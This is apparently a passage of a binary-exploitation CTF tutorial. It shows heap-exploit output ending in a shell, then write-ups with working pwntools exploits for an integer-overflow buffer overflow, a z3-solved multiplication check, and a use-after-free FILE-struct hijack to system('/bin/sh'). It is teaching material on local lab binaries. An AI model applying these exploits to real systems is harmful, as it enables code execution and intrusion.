 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
```

```
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
w
 Destination: Trip 0 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
w
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 1 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 2 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
```

```
 Destination: Trip 3 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Update trip:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Update trip:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to delete:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 2 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Which trip you want to view?
```

```
>
libcBase: 0x7f86714bb000

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
 Destination: Trip 3 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
w
 Adding new trips...
Choose a Distance:
1. 0x80
2. 0x110
3. 0x128
4. 0x150
5. 0x200
>
w
 Destination: Trip 4 added.

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
[*] Switching to interactive mode
 Update trip:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
> Update trip:
1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
> Adding new trips...
UH\x89�H�� �}�� \x11@: 1: 1: not found
```

```
UH\x89�H�� �}�� \x11@: 2: g0ttem_b0yz: not found
$ w
 11:28:42 up  2:41,  1 user,  load average: 0.02, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               Mon20    2days 35.61s  0.19s /sbin/upstart
--user
$ ls
core  exploit.py  libc-2.23.so    solved    traveller
```

Just like that, we got a shell!

Integer Overflows

Vuln

Objective of this challenge is to call the `win` function.

This challenge was originally from: https://sploitfun.wordpress.com/2015/06/23/integer-overflow/ I did modify it in some ways.

Let's take a look at the binary:

```
$       file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=b0d1dbf76b9c7c6ae45ab201775536d7b7096b2d, for GNU/Linux 3.2.0, not
stripped
$       pwn checksec vuln
[*] '/Hackery/pod/modules/integer_exploitation/int_overflow_post/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$       ./vuln 15935728 75395128
Valid Password
```

So we can see that we are dealing with a `32` bit binary with no PIE or Stack Canary. When we run it, we provide input via two arguments to the process.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(int argc,int argv)

{
  if (argc != 3) {
    puts("Usage Error:   ");
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  validate_passwd(*(undefined4 *)(argv + 8));
  return 0;
}
```

So we can see that it checks to ensure that `argc` is `3` (which means two arguments in addition to the file name). After that it runs our second argument through the `validate_passwd` function:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void validate_passwd(char *input)

{
  size_t inputLen;
  char vulnBuf [11];
  byte inputLenByte;

  inputLen = strlen(input);
  if (((byte)inputLen < 4) || (8 < (byte)inputLen)) {
    puts("Invalid Password");
    fflush(stdout);
  }
  else {
    puts("Valid Password");
    strcpy(vulnBuf,input);
  }
  return;
}
```

So we can see, that it takes the length of our input and stores it as a byte. If that byte is between `4-8`, then it will copy it over to the `vulnBuf` char array without any additional size checks.

We can also see the win condition here:

```
void win(void)

{
  int iVar1;

  iVar1 = __x86.get_pc_thunk.ax();
  puts((char *)(iVar1 + 0xe5a));
  return;
}
```

Exploitation

So we will be using an Integer Overflow attack to trigger a buffer overflow. Thing is, the value returned by `strlen(input)` is casted to a byte. This means that only the least significant byte is actually evaluated in the if then check. So if we were to input a value of size `0x105` , it would see the size as `0x05` , and proceed to the `strcpy` call, which would give us code execution.

The rest of it is pretty much your standard buffer overflow.

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

payload = ""
payload += "0"*0x18
payload += p32(0x080491a2)
payload += "1"*(0x105 - len(payload))

target = process(["./vuln", "0", payload])

target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './vuln': pid 5961
[*] Switching to interactive mode
Valid Password
You Win
[*] Got EOF while reading in interactive
```

Just like that, we solved the challenge!

Puzzle

I found this challenge from: https://safiire.github.io/blog/2019/01/07/integer-overflow-puzzle/

Most Int overflow challenges I found don't give you a binary, and instead just have you connect to a server. So the sources for these might be a bit different.

Let's take a look at the binary here:

```
$    file puzzle
puzzle: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=4e7bd9eb9ab969b8ba61f3b6283f846934c74009, for GNU/Linux 3.2.0, not
stripped
$    ./puzzle
Segmentation fault (core dumped)
$    ./puzzle 15935728
```

So we can see that we are dealing with a `64` bit binary, that appears to take in input via arguments.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
undefined8 main(undefined8 argc,long argv)

{
  if (**(long **)(argv + 8) * 0x1064deadbeef4601 == -0x2efc72d1f84bda97) {
    system("/bin/sh");
  }
  return 0;
}
```

So we can see that it is taking our first argument, multiplying it by `0x1064deadbeef4601`, then checking to see if it is equal to `0xD1038D2E07B42569`. If it is, then it will run `system("/bin/sh")`. The reason why the offset is `8` from argv for our first argument, is realistically it's the second argument. The first is the process's name. Also the reason why it displays `-0x2efc72d1f84bda97` instead of `0xD1038D2E07B42569` is because that is the signed representation of the unsigned value. Looking at the disassembly shows us the unsigned value:

```
        00101155 48 b8 01        MOV        RAX,0x1064deadbeef4601
                 46 ef be
                 ad de 64 10
        0010115f 48 0f af c2     IMUL       RAX,RDX
        00101163 48 ba 69        MOV        RDX,0xD1038D2E07B42569
                 25 b4 07
                 2e 8d 03 d1
        0010116d 48 39 d0        CMP        RAX,RDX
```

Exploitation

So we need to set the product of our input and `0x1064deadbeef4601` equal to `0xD1038D2E07B42569`. We will do this using an Integer Overflow. First off let's talk a bit about how an Integer Overflow works.

Data types can only contain so much data. For `x64` bit integers, they contain 8 bytes worth of data. So what happens if we try to store a value larger than `8` bytes in an integer? For instance:

```
0x1064deadbeef4601 * 0xD1038D2E07B42569 = 0xd629404f62e95bf5b815e3124f5db69
```

Thing is, in instances like this, it will only store the lower `8` bytes. So here, the result would be `0x5b815e3124f5db69`. So realistically, the actual "equation" we need to solve is this:

```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```

We can write a simple z3 script to solve this for us:

```
from z3 import *

foREVer = Solver()

x = BitVec("0", 64)

foREVer.add(((x * 0x1064deadbeef4601) & 0xffffffffffffffff) ==
0xd1038d2e07b42569)

if foREVer.check() == sat:
    solution = foREVer.model()
    solution = hex(int(str(solution[x])))
    solution = solution[2:]

    # We have to reverse the value because the binary is least endian
    value = ""
    i = len(solution) / 2
    while i > 0:
        i -= 1
        y = solution[(i*2):(i*2) + 2]
        value += chr(int("0x" + y, 16))

    print "Now I think, I understand: " + value
else:
    print "Not solvable, I would recommend crying, a lot"
```

When we run it:

```
$    python rev.py
Now I think, I understand: io64pass
$    ./puzzle io64pass
$ w
 11:01:12 up  1:31,  1 user,  load average: 1.62, 1.51, 1.27
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               09:29   ?xdm?   3:58   0.00s /usr/lib/gdm3/g
$ ls
puzzle    readme.md  rev.py
```

Just like that, we solved the challenge!

Signed / Unsigned Explanation

This is essentially just a well documented C file that briefly explains how a potential Unsigned / Signed bug works. While this by itself won't be enough to get code execution, it can often lead to fun behavior that will allow you to get code execution.

Here is the code:

```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("This is just a well documented C file explaining a potential
attack.");
    puts("Thing is, how signed and unsigned values are store is different.");
    puts("So if we were to evaluate a signed integer as an unsigned integer, or
vice versa, it would see a different value than what it was assigned.");
    puts("Let's see an example.\n");

    unsigned long l0 = 0xfacade54facade;
    printf("We have initialized an unsigned long with the value: 0x%lx\n\n",
l0);

    puts("First we will compare it as an unsigned integer to the value we
initialized it to.");

    if (l0 == 0xfacade54facade)
    {
        puts("Check 0 passed.\n");
    }

    else
    {
        puts("Check 0 failed.\n");
    }

    puts("Now we will compare it as a signed integer to the value we initialized
it to.");

    if ((signed)l0 == 0xfacade54facade)
    {
        puts("Check 1 passed.\n");
    }

    else
    {
        puts("Check 1 failed.\n");
    }

    puts("As you can see, when we cast it to a signed integer it was perceived
as a different value, and thus failed the check.");
    puts("You will find this type of bug around where it compares a signed value
as unsigned or vice versa.");
    puts("It is usually just one step in the process of getting code
execution.");
}
```

When we run it:

```
$       ./signed_unsigned
This is just a well documented C file explaining a potential attack.
Thing is, how signed and unsigned values are store is different.
So if we were to evaluate a signed integer as an unsigned integer, or vice
versa, it would see a different value than what it was assigned.
Let's see an example.

We have initialized an unsigned long with the value: 0xfacade54facade

First we will compare it as an unsigned integer to the value we initialized it
to.
Check 0 passed.

Now we will compare it as a signed integer to the value we initialized it to.
Check 1 failed.

As you can see, when we cast it to a signed integer it was perceived as a
different value, and thus failed the check.
You will find this type of bug around where it compares a signed value as
unsigned or vice versa.
It is usually just one step in the process of getting code execution.
```

FILE Exploitation

bad_file

This writeup goes out to my friend and the person who made this challenge, the man, the myth, the legend himself, noopnoop.

Let's take a look at the binary and libc file:

```
$ file bad_file
bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped
$ pwn checksec bad_file
[*] '/Hackery/pod/modules/fs_exploitation/swamp19_badfile/bad_file'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./libc6.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
  crypt add-on version 2.1 by Michael Glad and others
  GNU Libidn by Simon Josefsson
  Native POSIX Threads Library by Ulrich Drepper et al
  BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
```

```
$    file bad_file
bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped
$    pwn checksec bad_file
[*] '/Hackery/swamp/bad_file/bad_file'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./bad_file
Would you like a (1) temporary name or a (2) permanent name?
1
15935728
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
75395128
Now let's send some magic to the void!!
Segmentation fault (core dumped)
$ ./bad_file
Would you like a (1) temporary name or a (2) permanent name?
1
15935728
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
75395128
Now let's send some magic to the void!!
 [;9B
I hope the spell worked!
```

So we can see that we are dealing with a 64 bit binary without RELRO or PIE. When we run the binary it prompts us for several inputs before crashing.

Reversing

When we take a look at the Ghidra disassembly, we see this:

```
void main(void)

{
  void *ptr;
  FILE *stream;
  char input0 [16];
  char input1 [40];

  ptr = malloc(0x250);
  setbuf(stdout,(char *)0x0);
  puts("Would you like a (1) temporary name or a (2) permanent name?");
  read(0,input0,2);
  if (input0[0] == '1') {
    temp_name(ptr);
  }
  else {
    perm_name(ptr);
  }
  stream = fopen("/dev/null","rw");
  puts("I created a void for you, and this can let you practice some sorcery");
  puts("You\'re in danger, you\'ll need a new name.");
  read(0,ptr,0x160);
  puts("Now let\'s send some magic to the void!!");
  fread(input1,1,8,stream);
  puts(input1);
  puts("I hope the spell worked!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we see it starts off my allocating the `0x250` byte chunk `ptr` with malloc. Proceeding that it prompts us for input. If we input a `1` it runs the `temp_name` function with the argument `ptr`. If we input anything else it runs `perm_name` with the argument `ptr`. After that it opens up the file `/dev/null`. Proceeding that we are able to scan `0x160` bytes into the space pointed to by `ptr`. After that it scans in 8 bytes of data from the file object which should be `/dev/null` into the char buffer `input1`. Following that it prints the contents of `input1`. Let's take a look at the `perm_name` and `temp_name` functions:

```
void temp_name(char *input)

{
  gets(input);
  printf("Hello, %s (for now)\n",input);
  free(input);
  return;
}
```

```
void perm_name(char *input)

{
  gets(input);
  printf("Hello, %s!\n");
  return;
}
```

These functions are pretty similar. They both scan in input to the heap pointer `ptr` with `gets` (which will allow us to overflow it), and then prints the contents of `ptr`. The difference is `temp_name` frees the heap pointer after printing it's contents, which we can then scan data into later. This is a use after free bug.

Exploiting

So we have a heap overflow bug with gets, and a use after free. For the heap overflow bug I initially wanted to see if I could overflow the buffer right up to an address and then leak it with the printf call. However there was one problem with that:

```
gef➤  x/80g 0x602010
0x602010: 0x0 0x0
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
0x6020b0: 0x0 0x0
0x6020c0: 0x0 0x0
0x6020d0: 0x0 0x0
0x6020e0: 0x0 0x0
0x6020f0: 0x0 0x0
0x602100: 0x0 0x0
0x602110: 0x0 0x0
0x602120: 0x0 0x0
0x602130: 0x0 0x0
0x602140: 0x0 0x0
0x602150: 0x0 0x0
0x602160: 0x0 0x0
0x602170: 0x0 0x0
0x602180: 0x0 0x0
0x602190: 0x0 0x0
0x6021a0: 0x0 0x0
0x6021b0: 0x0 0x0
0x6021c0: 0x0 0x0
0x6021d0: 0x0 0x0
0x6021e0: 0x0 0x0
0x6021f0: 0x0 0x0
0x602200: 0x0 0x0
0x602210: 0x0 0x0
0x602220: 0x0 0x0
0x602230: 0x0 0x0
0x602240: 0x0 0x0
0x602250: 0x0 0x0
0x602260: 0x0 0x20da1
```

Here is a look at the memory region of `ptr` which points to `0x602010` (and a bit past where it ends). The issue is other than the top chunk (`0x20da1` specifies how much space is left unallocated in the heap) there is nothing but zeroes in are of the heap our overflow can reach. That coupled with the fact the only thing left that happens to the heap in terms of allocating/freeing memory is a single free to `ptr` , we can't use this bug for anything other than a DOS.

So that just leaves us with the use after free. However when we look into that, we see something interesting:

```
stack ────
0x00007fffffffde00│+0x0000: 0x0000000000602010  →  0x00007ffffbad2488  ← $rsp
0x00007fffffffde08│+0x0008: 0x0000000000000000
0x00007fffffffde10│+0x0010: 0x0000000000000a31 ("1"?)
0x00007fffffffde18│+0x0018: 0x0000000000400a0d  →  <__libc_csu_init+77> add rbx,
0x1
0x00007fffffffde20│+0x0020: 0x0000000000000000
0x00007fffffffde28│+0x0028: 0x0000000000000000
0x00007fffffffde30│+0x0030: 0x00000000004009c0  →  <__libc_csu_init+0> push r15
0x00007fffffffde38│+0x0038: 0x0000000000400740  →  <_start+0> xor ebp, ebp
```

```
code:x86:64 ────
     0x400938 <main+123>       mov    esi, 0x400ab5
     0x40093d <main+128>       mov    edi, 0x400ab8
     0x400942 <main+133>       call   0x400710 <fopen@plt>
 →   0x400947 <main+138>       mov    QWORD PTR [rbp-0x48], rax
     0x40094b <main+142>       mov    edi, 0x400ac8
     0x400950 <main+147>       call   0x400680 <puts@plt>
     0x400955 <main+152>       mov    edi, 0x400b10
     0x40095a <main+157>       call   0x400680 <puts@plt>
     0x40095f <main+162>       mov    rax, QWORD PTR [rbp-0x50]
```

```
threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x400947 → main()
```

```
gef➤  p $rax
$1 = 0x602010
gef➤  x/x $rax
0x602010: 0xfbad2488
```

We can see that the `fopen` call returns the heap pointer `0x602010`, which is where it stores information regarding the file. We can see with the `read` call (or really anywhere in the main function), that it overlaps directly with `ptr`:

```
code:x86:64 ────
     0x400963 <main+166>       mov    edx, 0x160
     0x400968 <main+171>       mov    rsi, rax
     0x40096b <main+174>       mov    edi, 0x0
 →   0x400970 <main+179>       call   0x4006d0 <read@plt>
   ↳    0x4006d0 <read@plt+0>     jmp    QWORD PTR [rip+0x200972]        #
0x601048
        0x4006d6 <read@plt+6>     push   0x6
        0x4006db <read@plt+11>    jmp    0x400660
        0x4006e0 <__libc_start_main@plt+0> jmp    QWORD PTR [rip+0x20096a]
# 0x601050
        0x4006e6 <__libc_start_main@plt+6> push   0x7
        0x4006eb <__libc_start_main@plt+11> jmp    0x400660
```

```
arguments (guessed) ────
read@plt (
   $rdi = 0x0000000000000000,
   $rsi = 0x0000000000602010 → 0x00007ffffbad2488,
   $rdx = 0x0000000000000160,
   $rcx = 0x00007ffff7b042c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001
)
```

```
threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x400970 → main()
```

```
gef➤  x/x $rbp-0x50
0x7fffffffde00: 0x00602010
```

Here we can see both where `ptr` belongs in the stack, and the argument for the read call is `0x602010` which is the same pointer for the file struct. This happened because malloc will reuse previously freed memory chunks for performance reasons (if the memory sizes are correct, which in this case they are). As a result we can directly overwrite the file struct.

This is my first time dealing with a file struct exploit. At first I tried reversing the `fopen` and `fread` functions to figure out if there was a way I could somehow change which file it would read from (or really change anything that would benefit us). After a bit I tried changing various of the file struct, which is when I found something interesting. Here is the file struct after it has been allocated:

```
gef➤  x/44g $rax
0x602010: 0x00007ffffbad2488  0x0000000000000000
0x602020: 0x0000000000000000  0x0000000000000000
0x602030: 0x0000000000000000  0x0000000000000000
0x602040: 0x0000000000000000  0x0000000000000000
0x602050: 0x0000000000000000  0x0000000000000000
0x602060: 0x0000000000000000  0x0000000000000000
0x602070: 0x0000000000000000  0x00007ffff7dd2540
0x602080: 0x0000000000000003  0x0000000000000000
0x602090: 0x0000000000000000  0x00000000006020f0
0x6020a0: 0xffffffffffffffff  0x0000000000000000
0x6020b0: 0x0000000000602100  0x0000000000000000
0x6020c0: 0x0000000000000000  0x0000000000000000
0x6020d0: 0x0000000000000000  0x0000000000000000
0x6020e0: 0x0000000000000000  0x00007ffff7dd06e0
0x6020f0: 0x0000000000000000  0x0000000000000000
0x602100: 0x0000000000000000  0x0000000000000000
0x602110: 0x0000000000000000  0x0000000000000000
0x602120: 0x0000000000000000  0x0000000000000000
0x602130: 0x0000000000000000  0x0000000000000000
0x602140: 0x0000000000000000  0x0000000000000000
0x602150: 0x0000000000000000  0x0000000000000000
0x602160: 0x0000000000000000  0x0000000000000000
```

Here is everything we can reach with out overflow (`0x160 / 8 = 44`). When `fread` is called, there is a function `_IO_sgetn` that is called on our input:

```
gef➤  disas _IO_sgetn
Dump of assembler code for function __GI__IO_sgetn:
   0x00007ffff7a88700 <+0>: mov    rax,QWORD PTR [rdi+0xd8]
   0x00007ffff7a88707 <+7>: mov    rax,QWORD PTR [rax+0x40]
   0x00007ffff7a8870b <+11>:  jmp    rax
End of assembler dump.
```

In this case the register `rdi` holds a pointer to the file struct. Here it dereferences `rdi+0xd8` (which in our case would be the value stored at `0x6020e8` which is `0x00007ffff7dd06e0`). Then the instruction pointer stored at that address `+0x40` is then moved into the `rax` register, and then executed via a jump (in our case `0x00007ffff7dd06e0 + 0x40 = 0x7ffff7dd0720`). We can see that the function which should be executed is `_IO_file_jumps` :

```
gef➤  x/i 0x00007ffff7dd06e0
   0x7ffff7dd06e0 <_IO_file_jumps>: add    BYTE PTR [rax],al
```

So we can see that we can overwrite a pointer which is dereferenced to get an instruction pointer, and then executed. We will use this to get code execution. However the pointer is at offset `0xd8` , so we have to overwrite several different pointers which could cause issues. To figure this out I just overwrote the values of pointers one by one to see if they would cause us issues. Turns out only one of them do cause issues, and it's nothing major. It's the pointer stored at offset `0xa0` (it's `0x602100` at `0x6020b0`):

```
──────────────────────────────────────────────────────────────────── stack ────
0x00007fff456d8010│+0x0000: 0x0000000000400b40  →  "Now let's send some magic to
the void!!"   ← $rsp
0x00007fff456d8018│+0x0008: 0x0000000000000000
0x00007fff456d8020│+0x0010: 0x00007fff456d8090  →  0x00000000004009c0  →
<__libc_csu_init+0> push r15
0x00007fff456d8028│+0x0018: 0x0000000000400740  →  <_start+0> xor ebp, ebp
0x00007fff456d8030│+0x0020: 0x00007fff456d8170  →  0x0000000000000001
0x00007fff456d8038│+0x0028: 0x000000000040099c  →  <main+223> lea rax,
[rbp-0x30]
0x00007fff456d8040│+0x0030: 0x0000000000704010  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007fff456d8048│+0x0038: 0x0000000000704010  →  0x0068732f6e69622f ("/bin
/sh"?)
────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7fc49f4fc4b0 <fread+80>       lock   cmpxchg DWORD PTR [r8], esi
   0x7fc49f4fc4b5 <fread+85>       jne    0x7fc49f4fc4bf <fread+95>
   0x7fc49f4fc4b7 <fread+87>       jmp    0x7fc49f4fc4d5 <fread+117>
 → 0x7fc49f4fc4b9 <fread+89>       cmpxchg DWORD PTR [r8], esi
   0x7fc49f4fc4bd <fread+93>       je     0x7fc49f4fc4d5 <fread+117>
   0x7fc49f4fc4bf <fread+95>       lea    rdi, [r8]
   0x7fc49f4fc4c2 <fread+98>       sub    rsp, 0x80
   0x7fc49f4fc4c9 <fread+105>      call   0x7fc49f589c50
   0x7fc49f4fc4ce <fread+110>      add    rsp, 0x80
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fc49f4fc4b9 → fread()
[#1] 0x40099c → main()
───────────────────────────────────────────────────────────────────────────────
gef➤  p $r8
$1 = 0x400000
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/swamp
/bad_file/bad_file
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/swamp
/bad_file/bad_file
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/swamp
/bad_file/bad_file

.   .   .
```

Here we can see that the value we overwrote at offset `0xa0` to be `0x400000` is causing a crash (the reason why it is an address, is because earlier that value is dereferenced, so if it isn't an address it would cause a crash). Here it is running the `cmpxchg` instruction which compares the two operands, and if they aren't equal the contents of the second argument are moved into the first. The issue here is that the memory region `0x400000` is in is not writeable, so it crashes when it tries to write to it. To solve this I just looked through the memory region starting at `0x601000` for an eight byte segment that was equal to `0x0` (since without our hacking that's what the value is). Since there isn't `pie` I know the address before the binary runs, and since the region is writeable I can write to it no problem.

So with that, it just leaves us with our final problem. What value will we overwrite the pointer to an instruction pointer with to get code execution. There is a `hidden_alleyway` function which would print the flag, however due to the lack of infoleaks I couldn't find a way to get a pointer to it's address. Luckily for us the GOT table has system in it. So to get a shell I just overwrote the pointer at offset `0xd8` with the got address of `system - 0x40` (we need the `-0x40` to counter the `+0x40`). Then when it dereferences that pointer, and jumps to an instruction pointer it will call system.

The last thing we need is to pass the argument `/bin/sh` to the function `system` (which takes a char pointer as an argument). Luckily for us the first argument is passed in the `rdi` register, which at the time of the jump is a pointer to the freed `heapPtr` (and due to the overlap, `stream` too). So we just have to set the first eight bytes of our input equal to `/bin/sh\x00` (we need the null byte in there to separate it from the rest of the input) to pass the argument `/bin/sh` to system.

Exploit Code

With all of this, we can write the exploit (ran on Ubuntu 16.04):

```
from pwn import *

# Establish the target
target = process('./bad_file', env={"LD_PRELOAD":"./libc6.so"})
#gdb.attach(target)

# Get through the initial prompt and temp_name functions
# Make sure to go the UAF route
target.sendline("1")
target.sendline("15935728")

# Make the payload
payload = "/bin/sh\x00"
payload += "0"*0x80
payload += p64(0x6010b0)
payload += "1"*0x48
payload += p64(0x601038 - 0x40)

# Wait for it to prompt us for a new name
print target.recvuntil("new name.")

# Send the exploit
target.send(payload)

# Drop to an interactive shell to use the shell
target.interactive()
```

When we run it:

```
$       python exploit.py
[+] Starting local process './bad_file': pid 3242
Would you like a (1) temporary name or a (2) permanent name?
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
[*] Switching to interactive mode

Now let's send some magic to the void!!
$ w
 17:38:08 up 18 min,  1 user,  load average: 0.10, 0.03, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:19   18:39   3.12s  0.15s /sbin/upstart
--user
$ ls
bad_file  core    exploit.py  libc6.so  readme.md
```

Just like that we captured the flag!

Grab Bag

Shellcoding

Csaw 2018 Shellpointcode

Let's take a look at the binary:

```
$    ./shellpointcode
Linked lists are great!
They let you chain pieces of data together.

(15 bytes) Text for node 1:
15935728
(15 bytes) Text for node 2:
75395128
node1:
node.next: 0x7ffda2ffda40
node.buffer: 15935728

What are your initials?
123
Thanks 123

Segmentation fault (core dumped)
$    file shellpointcode
shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped
$    pwn checksec shellpointcode
[*] '/Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode
/shellpointcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
```

So we can see that we are dealing with a 64 bit binary that has RWX segments (regions of memory that we can read, write, and execute). We can see that with gdb:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /Hackery
/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-x /Hackery
/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555755000 0x0000555555756000 0x0000000000001000 rwx /Hackery
/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x0000555555756000 0x0000555555777000 0x0000000000000000 rwx [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-x /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rwx /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rwx
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rwx
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rwx /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

In addition to that when we run it, we see that it prompts us for three separate inputs and prints what appears to be a stack address. When we take a look at the main function in Ghidra we see this:

```
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("Linked lists are great! \nThey let you chain pieces of data
together.\n");
  nononode();
  return 0;
}
```

